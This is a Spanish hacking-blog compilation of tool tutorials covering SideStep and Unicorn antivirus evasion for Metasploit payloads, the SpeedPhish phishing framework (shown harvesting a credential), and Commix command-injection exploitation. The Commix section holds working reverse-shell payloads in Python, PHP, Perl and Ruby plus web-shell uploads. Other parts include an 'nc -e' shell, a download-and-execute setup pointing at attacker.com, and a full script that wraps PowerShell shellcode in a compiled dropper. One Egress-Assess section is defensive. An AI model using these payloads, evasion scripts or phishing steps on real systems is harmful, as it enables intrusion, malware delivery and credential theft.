SideStep es un script en python que podemos usar para que nuestros payloads de Metasploit no sean detectados por los antivirus. Las técnicas fundamentales que utiliza son:

- Cifra el shellcode de Meterpreter generado con msfvenom mediante AES de 128 bits (utilizando la biblioteca de C++ CryptoPP) con una clave generada aleatoriamente. El payload se descifra justo antes de la ejecución.
- Cambia aleatoriamente todos los nombres de variables y funciones. El tamaño de los nombres y las funciones se puede configurar.
- Crea una función que comprueba la hora local del host, luego hace un bucle durante una suma configurable de segundos al principio del programa para evadir sandboxes de AV. También se añade como parámetro un generador DH que suma tiempo extra al inicio.
- Mete el ejecutable con un número configurable de variables que tienen valores aleatorios de tamaño configurable. Estas variables están antes de la llamada a la función main().
- Si Cygwin está presente, utiliza strip para eliminar símbolos de depuración y otra información útil para el reversing.
- Si se usa peCloak, se codificarán las instrucciones de ensamblado en el último paso.

Requisitos:

- Metasploit Community 4.11.1 – Update 2015031001 o posterior
- Ruby 2.x
- Windows (debería funcionar en 7 o 8  – probado en 8.1)
- Python 2.7.x
- Visual Studio (las versiones gratuitas deberían ir bien – probado en 2012)
- Windows SDK
- Cygwin con la utilidad strip (si quieres "strippear" símbolos de depuración)
- peCloak (si quieres usarlo)

Descarga:

$ git clone https://github.com/codewatchorg/SideStep.git

Uso:

El fichero de configuración principal está en conf\settings.py. Luego como mínimo tenemos que indicar la IP y el puerto del handler o manejador de Metasploit: 


python sidestep.py --ip 192.168.1.1 --port 443

Por defecto, el fichero fuente se guardará en el directorio .\source y el ejecutable en .\exe. Para instalar el manejador en tu máquina atacante simplemente debemos especificar:

use multi/handler
  set PAYLOAD windows/meterpreter/reverse_https
  set LHOST 192.168.1.1
  set LPORT 443
  set AutoRunScript post/windows/manage/smart_migrate
  run


La mejor manera de entregar el ejecutable a través de Metasploit es cargar el exploit correspondiente, y luego establecer el PAYLOAD a windows/download_exec, y subir el ejecutable a un servidor web. Un ejemplo de configuración sería:

use exploit/windows/http/coldfusion_fckeditor
  set PAYLOAD windows/download_exec
  set EXE sidestep.exe
  set URL http://www.attacker.com:80/sidestep.exe
  set AutoRunScript post/windows/manage/smart_migrate
  set RHOST 1.1.1.1
  set RPORT 80
  run


En este ejemplo explotaríamos la vulnerabilidad "FCKeditor" en ColdFusion (CVE-2009-2265), lanzando un shellcode que descarga un ejecutable desde la URL facilitada, guardándolo con el nombre del EXE elegido, para luego ejecutarlo.

Proyecto GitHub de SideStep:  https://github.com/codewatchorg/sidestep


Fuente: http://www.ehacking.net/2015/06/sidestep-yet-another-anti-virus-evasion.html 

¿Tiene tu empresa algún control para detectar que se está transmitiendo información sensible hacia Internet? Compruébalo con Egress-Assess

$
0
0
Reconozcámoslo, si hoy la ciberseguridad seguridad informática está tan de moda es en gran parte debido a los grandes escándalos de los famosos 'leaks' en los que se filtra públicamente información confidencial. Desde Sony a Hacking Team, cualquier empresa (por fin) teme el azote de las incursiones informáticas que derivan en el robo de información. Como decimos, muchas veces esta información acaba expuesta o simplemente es explotada para realizar otras actividades tan divertidas como la usurpación de identidades, el desfalco de cuentas bancarias, otras extorsiones, etc.

La mayoría de estos robos de información se realizan remotamente a través de Internet. El modus operandi normal es que un atacante consigue comprometer alguno de los sistemas dentro de la red de la empresa y transfiere toda la información mediante FTP, SFTP, SCP, HTTP, HTTPS u otro canal encubierto. No podemos asegurar al 100% que nuestros sistemas sean invulnerables (¡hola 0-days!) pero, si la información atraviesa nuestra seguridad perimetral (firewalls, NIDS u otras pasarelas), podemos revisar el tráfico en busca de patrones como números de identificación personales, tarjetas de crédito u otra información sensible.

Por poner un ejemplo (os prometo sin intención comercial), mediante un firewall Fortigate podríamos usar su funcionalidad de Data Leak Prevention que incluye sensores para evitar la fuga de información como información de tarjetas sobre mail y http. Aplicando ese sensor no se debería subir por http o enviar por mail un número de tarjeta:



¿Tiene tu empresa algún control similar para detectar que se está transmitiendo este tipo de información sensible?


Puedes comprobarlo tú mismo con Egress-Assess de Chris Truncer, una herramienta escrita en Python con el que podemos generar distintos tipos de datos "sensibles" y simular su transferencia desde un cliente a un servidor mediante los protocolos más comunes: FTP, HTTP y HTTPS.

Para instalarlo sólo necesitamos pyftpdlib y, en el caso del servidor HTTPS, generar un certificado "server.pem":

root@kali:~# easy_install pyftpdlib
root@kali:~# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes


Luego bajamos el código de la herramienta:

vmotos@kaliclient:~$ git clone https://github.com/ChrisTruncer/Egress-Assess.git

y vemos los tipos de datos que podemos usar:

vmotos@kaliclient:~$ ./Egress-Assess.py --list-datatypes

################################################################################
#                                Egress-Assess                                 #
################################################################################

[*] Supported data types:

[+] cc - (Credit Card Numbers)
[+] identity - (Full names, Addresses, and Socials)
[+] ssn - (Social Security Numbers)

Ahora empezamos levantando un servicio FTP en el servidor:

root@kaliserver:~# ./Egress-Assess.py --server ftp --username testuser --password pass123 


################################################################################
#                                Egress-Assess                                 #
################################################################################

[I 15-07-14 2:33:20] >>> starting FTP server on 0.0.0.0:21, pid=5233 <<<
[I 15-07-14 2:33:20] poller: <class 'pyftpdlib.ioloop.Epoll'>
[I 15-07-14 2:33:20] masquerade (NAT) address: None
[I 15-07-14 2:33:20] passive ports: None
[I 15-07-14 2:33:20] use sendfile(2): False

Lanzamos los datos ficticios desde el cliente:

vmotos@kaliclient:~$ ./Egress-Assess.py --client ftp --username testuser --password pass123 --ip 172.40.2.201 --datatype ssn
################################################################################
#                                Egress-Assess                                 #
################################################################################

[*] Generating data...
[*] File sent!!!

Y vemos como llega al servidor:

[I 15-07-14 2:33:50] 192.168.16.25:39956-[] FTP session opened (connect)
[I 15-07-14 2:33:50] 192.168.16.25:39956-[testuser] USER 'testuser' logged in.
[I 15-07-14 2:33:51] 192.168.16.25:39956-[testuser] STOR /home/vmotos/Egress-Assess/data/07142015_163347text_data.txt completed=1 bytes=1050526 seconds=0.935
[I 15-07-14 2:33:51] 192.168.16.25:39956-[testuser] FTP session closed (disconnect).
^C[I 15-07-14 2:34:23] >>> shutting down FTP server (1 active fds) <<<

Lo mismo simulando un servidor web:

root@kaliserver:~# ./Egress-Assess.py --server http
###############################################################################
#                                Egress-Assess                                 #
################################################################################

[*] Starting web (http) server...
[*] Web server is currently running
[*] Type "kill -9 5797" to stop the web server.


vmotos@kaliclient:~$ ./Egress-Assess.py --client http --data-size 15 --ip 172.40.2.201 --datatype cc
################################################################################
#                                Egress-Assess                                 #
################################################################################

[*] Generating data...
[*] File sent!!!

192.168.16.25 - - [15/Jul/2015 03:54:19] "POST /post_data.php HTTP/1.1" 200 -

pd. seguro que 9 de cada 10 humanos que hayan realizado estas mismas pruebas habrán comprobado que la información es enviada sin que ningún elemento de la seguridad perimetral de su red lo haya bloqueado o simplemente generado una alerta...

Fuente: https://github.com/ChrisTruncer/Egress-Assess 

Realiza ataques de phishing en un santiamén con SPF (SpeedPhish Framework)

$
0
0
¿Estás en el chiringuito de playa y sientes la necesidad de juakear a algo o a alguien?, ¿sientes la llamada de la ingeniería social? ¿qué tal un phishing rápido?. Déjame decirte primero que estás enfermo... y luego hablarte de SPF (SpeedPhish Framework), una herramienta escrita en python diseñada para realizar un rápido reconocimiento y desarrollo de phishings. Así que levanta la tapa de tu netbook y empieza a teclear...

Requisitos & instalación

apt-get update
apt-get upgrade -y
apt-get install build-essential python-dev python-pip phantomjs -y
pip install dnspython
pip install twisted
git clone https://github.com/tatanus/SPF.git

Ejecución

cd spf
python spf.py --all -d dominio.com (si has configurado previamente la pasarela SMTP y no quieres mandar los correos a las víctimas usa mejor --test)

[!] A CONFIG FILE was not specified...  defaulting to [default.cfg]

/home/vmotos/SPF/spf/dominio.com/
/home/vmotos/SPF/spf/dominio.com/spf.sqlite
/home/vmotos/SPF/spf/dominio.com/spf.sqlite

[*] Obtaining list of email targets
[*] [VERBOSE] Gathering emails via built-in methods
[*] [VERBOSE] Currently searching [google, bing, ask, dogpile, yandex, baidu, yahoo, duckduckgo]
[*] [VERBOSE] [Processing: /] Google
[*] [VERBOSE] [Processing: -] Bing
[*] [VERBOSE] [Processing: /] Ask
[*] [VERBOSE] [Processing: /] Dogpile
[*] [VERBOSE] [Processing: -] Yandex
[*] [VERBOSE] [Processing: /] Baidu
[*] [VERBOSE] [Processing: /] Yahoo
[*] [VERBOSE] [Processing: |] DuckDuckGo
[*] [VERBOSE] Gathered [14] email addresses from the Internet

[*] [VERBOSE] Gathering emails via theHarvester
[!] ERROR: theHarvester_path does not point to a valid file

[*] [VERBOSE] Collected [14] unique email addresses
[*] ----------
[*] EMAIL LIST
[*] ----------
[*] pepito@dominio.com
[*] datacenter@dominio.com
[*] I@dominio.com
[*] pedro.sanchez@dominio.com
[*] javier.martin@dominio.com
[*] prodriguez@dominio.com
[*] compania@dominio.com
[*] datacenter@dominio.com
[*] dalvarez@dominio.com
[*] jgarcia@dominio.com
[*] informatica@dominio.com
[*] lmartinez@dominio.com
[*] n@dominio.com
[*] resecionsas@dominio.com

[*] Starting phishing webserver
[*] [VERBOSE] /home/vmotos/SPF/spf/dominio.com/spf.sqlite
[*] [VERBOSE] /home/vmotos/SPF/spf/dominio.com/spf.sqlite
[*] [VERBOSE] FIXED = [templates/web/owa]
[*] [VERBOSE] FIXED = [templates/web/office365]
[*] [VERBOSE] FIXED = [templates/web/cisco]
[*] [VERBOSE] FIXED = [templates/web/citrix]
[*] [VERBOSE] FIXED = [templates/web/citrix2]
[*] [VERBOSE] FIXED = [templates/web/juniper_vpn]
[*] [VERBOSE] Found the following web sites: [templates/web/owa/CONFIG]
[*] [VERBOSE] Found the following web sites: [templates/web/office365/CONFIG]
[*] [VERBOSE] Found the following web sites: [templates/web/cisco/CONFIG]
[*] [VERBOSE] Found the following web sites: [templates/web/citrix/CONFIG]
[*] [VERBOSE] Found the following web sites: [templates/web/citrix2/CONFIG]
[*] [VERBOSE] Found the following web sites: [templates/web/juniper_vpn/CONFIG]
[*] [VERBOSE] Started website [cisco_vpn ] on [http://169.168.1.200:8000]
[*] [VERBOSE] Started website [citrix2   ] on [http://169.168.1.200:8001]
[*] [VERBOSE] Started website [junipervpn] on [http://169.168.1.200:8002]
[*] [VERBOSE] Started website [owa       ] on [http://169.168.1.200:8003]
[*] [VERBOSE] Started website [office365 ] on [http://169.168.1.200:8004]
[*] [VERBOSE] Started website [citrix    ] on [http://169.168.1.200:8005]
[*] [VERBOSE] Created VHOST [cisco_vpn.dominio.com ] -> [http://169.168.1.200:8000]
[*] [VERBOSE] Created VHOST [citrix2.dominio.com   ] -> [http://169.168.1.200:8001]
[*] [VERBOSE] Created VHOST [junipervpn.dominio.com] -> [http://169.168.1.200:8002]
[*] [VERBOSE] Created VHOST [owa.example.com       ] -> [http://169.168.1.200:8003]
[*] [VERBOSE] Created VHOST [office365.example.com ] -> [http://169.168.1.200:8004]
[*] [VERBOSE] Created VHOST [citrix.dominio.com    ] -> [http://169.168.1.200:8005]
[*] [VERBOSE] Started WebServer with pid = [5077]

[*] [VERBOSE] Locating phishing email templates
[*] [DEBUG]   Found the following email template: [templates/email/citrix.txt]
[*] [DEBUG]   Found the following email template: [templates/email/office365.txt]
[*] [DEBUG]   Found the following email template: [templates/email/dynamic.txt]
[*] [DEBUG]   Found the following email template: [templates/email/citrix2.txt]
[*] [DEBUG]   Found the following email template: [templates/email/owa.txt]

[*] Sending phishing emails
[*] [VERBOSE] Sending Email to [pepito@dominio.com]
[*] Would have sent an email to [pepito@dominio.com] with subject of [New OWA Server], but this was just a test.
[*] [VERBOSE] Sending Email to [datacenter@dominio.com]
[*] Would have sent an email to [datacenter@dominio.com] with subject of [Webmail - Office 365], but this was just a test.
[*] [VERBOSE] Sending Email to [I@dominio.com]
[*] Would have sent an email to [I@dominio.com] with subject of [New Login Portal], but this was just a test.
[*] [VERBOSE] Sending Email to [pedro.sanchez@dominio.com]
[*] Would have sent an email to [pedro.sanchez@dominio.com] with subject of [Updated Citrix Server], but this was just a test.
[*] [VERBOSE] Sending Email to [javier.martin@dominio.com]
[*] Would have sent an email to [javier.martin@dominio.com] with subject of [Updated Citrix Server], but this was just a test.
[*] [VERBOSE] Sending Email to [prodriguez@dominio.com]
[*] Would have sent an email to [prodriguez@dominio.com] with subject of [New OWA Server], but this was just a test.
[*] [VERBOSE] Sending Email to [compania@dominio.com]
[*] Would have sent an email to [compania@dominio.com] with subject of [Webmail - Office 365], but this was just a test.
[*] [VERBOSE] Sending Email to [datacenter@dominio.com]
[*] Would have sent an email to [datacenter@dominio.com] with subject of [New Login Portal], but this was just a test.
[*] [VERBOSE] Sending Email to [dalvarez@dominio.com]
[*] Would have sent an email to [dalvarez@dominio.com] with subject of [Updated Citrix Server], but this was just a test.
[*] [VERBOSE] Sending Email to [jgarcia@dominio.com]
[*] Would have sent an email to [jgarcia@dominio.com] with subject of [Updated Citrix Server], but this was just a test.
[*] [VERBOSE] Sending Email to [informatica@dominio.com]
[*] Would have sent an email to [informatica@dominio.com] with subject of [New OWA Server], but this was just a test.
[*] [VERBOSE] Sending Email to [lmanzanares@dominio.com]
[*] Would have sent an email to [lmanzanares@dominio.com] with subject of [Webmail - Office 365], but this was just a test.
[*] [VERBOSE] Sending Email to [n@dominio.com]
[*] Would have sent an email to [n@dominio.com] with subject of [New Login Portal], but this was just a test.
[*] [VERBOSE] Sending Email to [resecionsas@dominio.com]
[*] Would have sent an email to [resecionsas@dominio.com] with subject of [Updated Citrix Server], but this was just a test.

[*] Monitoring phishing website activity!


Ahora ábrete otra cervezita y a esperar...


[*] (Press CTRL-C to stop collection and generate report!)
[*] ::citrix2:: 2015.07.16-13.21.44,[ACCESS],192.168.2.7
[*] ::citrix2:: 2015.07.16-13.21.58,[CREDENTIALS],192.168.2.7,password=['prueba123'], user=['pepito@dominio.com'], LoginType=['Explicit'], SESSION_TOKEN=['05F56F0AD6F7D8CD25E08F2BB935866E']


¡Bingo!

pd. Ni que decir tiene que el phishing ha de hacerse tras previa autorización del dueño o responsable correspondiente del dominio y blah, blah,... ¡sed buenos!

Commix: herramienta todo-en-uno para explotar vulnerabilidades de inyección de comandos

$
0
0
Commix ([comm]and [i]njection e[x]ploiter) es una herramienta de Anastasios Stasinopoulos (@ancst) que te permitirá encontrar y explotar de forma muy fácil y rápida vulnerabilidades de inyección de comandos en ciertos parámetros y cadenas vulnerables de un servidor web. 


Está escrito en Python (2.6.x o 2.7.x) y está incluida en los repositorios oficiales de:

Pre-instalada en:
O puedes clonar directamente el repositorio Git:

git clone https://github.com/stasinopoulos/commix.git commix

Para obtener una lista de todas las opciones disponibles:

python commix.py -h


Ejemplos de uso

1. Explotando
Damn Vulnerable Web App:

root@kali:~/commix# python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

2. Explotando
php-Charts 1.0
usando payloads inyectados en cadenas en sufijos y prefijos:

root@kali:~/commix# python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="'" --suffix="//"

3. Explotando OWASP Mutillidae usando cabeceras extras y un proxy HTTP:

root@kali:~/commix# python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"


4. Explotando
Persistence
usando la técnica de exfiltración ICMP:

root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8"

5. Explotando
Persistence usando un shell (python) alternativo:

root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --alter-shell="Python"

6. Explotando
Kioptrix: Level 1.1 (#2):

root@kali:~/commix# python commix.py --url="http://192.168.178.2/pingit.php" --data="ip=INJECT_HERE&submit=submit" --auth-url="http://192.168.178.2/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"


7. Explotando Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:

root@kali:~/commix# python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=INJECT_HERE&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="file-based" --root-dir="/"

8. Explotando CVE-2014-6271/Shellshock:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock

9. Explotando commix-testbed (cookie) usando inyección basada en cookies:

root@kali:~/commix# python commix.py --url="http://192.168.2.8/commix-testbed/cookie/cookie(blind).php" --cookie="addr=INJECT_HERE"


Y otros ejemplos un poco más elaborados:

1. Shell inverso con Netcat (nc)

Paso 1. prepara el shell con Netsat

Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.

root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...


Paso 2. Ejecuta netcat via commix.

En un pestaña/shell diferente, ejecuta:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="nc -e /bin/sh 192.168.178.3 1234"

Paso 3. Disfruta del shell inverso netcat.

root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 36746
whoami
www-data


2. Shell inverso con Netcat-sin-netcat

En los siguiente ejemplos (inspirados en el post de Pentestmonkey "Reverse Shell Cheat Sheet") prepararemos un shell inverso de netcat, ¡sin usar netcat!

Paso 1. prepara el shell con Netsat

Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.

root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...


Paso 2. Elige uno de los siguientes payloads de shell inversos netcat-sin-netcat a través de Commix (por ej. mediante la opción "--os-cmd"):

1. Python-reverse-shell:

%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60
2. PHP-reverse-shell:

%60php+-r+'%24sock%3Dfsockopen(%22192.168.178.3%22%2C1234)%3B+exec(%22%2Fbin%2Fsh+-i+<%263+>%263+2>%263%22)%3B'%60

3. Perl-reverse-shell:

%60perl+-e+'use+Socket%3B%24i%3D%22192.168.178.3%22%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i)))){open(STDIN%2C%22>%26S%22)%3Bopen(STDOUT%2C%22>%26S%22)%3Bopen(STDERR%2C%22>%26S%22)%3Bexec(%22%2Fbin%2Fsh+-i%22)%3B}%3B'%60

4. Ruby-reverse-shell:

%60ruby+-rsocket+-e'f%3DTCPSocket.open(%22192.168.178.3%22%2C1234).to_i%3Bexec+sprintf(%22%2Fbin%2Fsh+-i+<%26%25d+>%26%25d+2>%26%25d%22%2Cf%2Cf%2Cf)'%60

Vamos a suponer que queremos un shell inverso en la "192.168.178.3" y puerto "1234" con Python-reverse-shell. Simplemente en un pestaña/shell diferente, ejecuta:

root@kali:~/Desktop/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60"


Paso 3. Disfruta del shell inverso netcat-sin-netcat:

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 43712
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data


Subir web-shells con Commix

Además Commix permite subir un web-shell (por ejemplo PHP meterpreter) fácilmente en el objetivo:

1. Sube un shell PHP de meterpreter (metasploit) al objetivo:

Paso 1: Crea el shell PHP meterpreter (mediante msfvenom)

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.3 LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php

Nota: No olvides añadir "" en el fichero msfvenom.php

Paso 2: Arranca el handler (via msfconsole)

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444
[*] Starting the payload handler...


Paso 3: Usa commix para crear "msfvenom.php" en el directorio "/var/www/" del objetivo y ejecútalo:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"

Paso 4: Disfruta de tu shell!

[*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400

meterpreter > sysinfo
Computer    : debian
OS          : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter >


2. Sube un web-shell PHP Weevely PHP al objetivo

Paso 1 : Crea el web shell PHP

weevely generate commix
[generate.php] Backdoor file 'weevely.php' created with password 'commix'


Paso 2: Usa commix para crear "weevely.php" en el directorio "var/www/html/cmd/" del objetivo:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/weevely.php" --file-dest="/var/www/html/cmd/"

Paso 3 : Disfruta de tu shell!

weevely http://192.168.178.4/cmd/weevely.php commix
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/192.168.178.4/weevely.session'

www-data@debian:/var/www/html/cmd $ ls -la
total 16
drwxrwxrwx 2 root     root     4096 May 18 02:02 .
drwxrwxrwx 8 root     root     4096 May 14 01:49 ..
-rw-rw-rw- 1 root     root      353 May  8 03:28 normal.php
-rw-r--r-- 1 www-data www-data  606 May 18 02:02 weevely.php

Máquinas virtuales con aplicaciones web vulnerables (para aprendizaje)

Demos de explotación

Desarrollo de módulos

¿Quieres aumentar las capacidades de la herramienta commix y/o adaptarlo a tus necesidades? Puedes desarrollar fácilmente e importar tus propios módulos. Para más información, consulta la página wiki 'desarrollo de módulos".


Fuente: https://github.com/stasinopoulos/commix

Un unicornio y powershell para evadir antivirus

$
0
0
Ya en 2010, en la conferencia BlackHat, David Kennedy ("ReL1K") y Josh Kelley ("Winfang") hablaban de Powershell como un vector de ataque con el que podían implementar un shell directo o inverso difícil de detectar por AV y HIPS, incluso FUD.

Microsoft Windows 7 SP1 y Windows Server 2008 R2 fueron las primeras versiones en incluir PowerShell (versión 2.0) instalado por defecto y desde entonces se ha ido siempre incluyendo en las versiones posteriores. Hoy, Windows Server 2012 R2 y Windows 8.1 incluyen la versión 4.0 de PowerShell. Por lo tanto usar PowerShell para atacar a una máquina Windows es buena idea.

En esta entrada vamos a ver Unicorn, un script en Python escrito precisamente por David Kennedy (Trustedsec) y que se basa en una técnica que presentó junto con Josh Kelley en la Defcon 18: un downgrade en Powershell para inyectar un shellcode en memoria.

En la última release 2.0 de la herramienta se incluyen distintos tipos de ataque (macro, html/hta, crt, ps1) y para llevarlos a cabo sólo tenemos que descargarnos el script y tener instalado por defecto Metasploit.

$ wget https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py


En nuestro ejemplo usaremos además un sencillo script de astr0baby que genera adicionalmente el código C para compilarlo y obtener un ejecutable Win32 que será indetectable por la mayoría de los antivirus actuales (TKaspersky, MS Essentials, ESET, McAfee ..):

#!/bin/bash
clear
echo '--------------------------------------'
echo ' Unicorn Powershell2C code generator  '
echo 'Works for Vista, Win7, Win8 32/64 bit'
echo '--------------------------------------'
if [ -z "$*" ];then  
echo 'Usage: unicorn2c.sh payload reverse_ipaddr port platform'
echo 'Example: unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.5 443 nonuac'
echo 'Valid platforms are: nonuac uac'
exit 0
fi
case $4 in
nonuac)
echo 'Generating nonUAC unicorn.c ...'
python unicorn.py $1 $2 $3  
echo '#include <stdio.h>'> unicorn.c
echo '#include <string.h>'>> unicorn.c
echo '#include <stdlib.h>'>> unicorn.c
echo '#include <ctype.h>'>> unicorn.c
echo '#include <aclapi.h>'>> unicorn.c
echo '#include <shlobj.h>'>> unicorn.c
echo '#include <windows.h>'>> unicorn.c
echo '#pragma comment(lib, "advapi32.lib")'>> unicorn.c  
echo '#pragma comment(lib, "shell32.lib")'>> unicorn.c
echo 'int main(int argc, char *argv[])'>> unicorn.c
echo '{'>> unicorn.c
echo 'FreeConsole();'>> unicorn.c  
echo -n ' ShellExecute( NULL,NULL, "powershell.exe", "'>> unicorn.c
cat powershell_attack.txt | sed -r 's/^.{11}//'>> unicorn.c
echo -n '",NULL,NULL);'>> unicorn.c
echo ''>> unicorn.c
echo 'exit(0);'>> unicorn.c
echo '}'>> unicorn.c
todos unicorn.c
echo '[*] Exported unicorn.c To compile use cl.exe unicorn.c'
;;

uac)
echo 'Generating UAC  unicorn.c ...'
python unicorn.py $1 $2 $3
echo '#include <stdio.h>'> unicorn.c
echo '#include <string.h>'>> unicorn.c
echo '#include <stdlib.h>'>> unicorn.c
echo '#include <ctype.h>'>> unicorn.c
echo '#include <windows.h>'>> unicorn.c
echo '#include <aclapi.h>'>> unicorn.c
echo '#include <shlobj.h>'>> unicorn.c
echo '#pragma comment(lib, "advapi32.lib")'>> unicorn.c
echo '#pragma comment(lib, "shell32.lib")'>> unicorn.c
echo 'int main(int argc, char *argv[])'>> unicorn.c
echo '{'>> unicorn.c
echo 'FreeConsole();'>> unicorn.c
echo -n ' ShellExecute( NULL, "runas", "powershell.exe", "'>> unicorn.c
cat powershell_attack.txt | sed -r 's/^.{11}//'>> unicorn.c
echo -n '",NULL,NULL);'>> unicorn.c
echo ''>> unicorn.c
echo 'exit(0);'>> unicorn.c
echo '}'>> unicorn.c
todos unicorn.c
echo '[*] Exported unicorn.c To compile use cl.exe unicorn.'
;;

"")
echo 'Usage: unicorn2c.sh payload reverse_ipaddr port platform'
echo 'Example: unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.5 443 nonuac'
echo 'Valid platforms are: nonuac, uac'
exit 0
;;
esac

Ahora le damos permisos de ejecución y generamos un payload para un shell inverso:

# chmod +x unicorn2c.sh
# ./unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.201 8090 nonuac

--------------------------------------
 Unicorn Powershell2C code generator  
Works for Vista, Win7, Win8 32/64 bit
--------------------------------------
Generating nonUAC unicorn.c ...
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:
                
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave

Happy Magic Unicorns.

[********************************************************************************************************]

                -----POWERSHELL ATTACK INSTRUCTIONS----

Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all
of the code needed in order to inject the powershell attack into memory. Note you will need a place that
supports remote command injection of some sort. Often times this could be through an excel/word  doc or
through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and  scenarios to
where you can use this attack at. Simply paste the powershell_attacks.txt command in any command prompt
window or where you have the ability to call the powershell executable and it will give a shell back to
you.

Note that you will need to have a listener enabled in order to capture the attack.

[*******************************************************************************************************]
    
[*] Exported powershell output code to powershell_attack.txt.
[*] Exported Metasploit RC file as unicorn.rc. Run msfconsole -r unicorn.rc to execute and create listener.

./unicorn2c.sh: line 35: todos: command not found
[*] Exported unicorn.c To compile use cl.exe unicorn.c

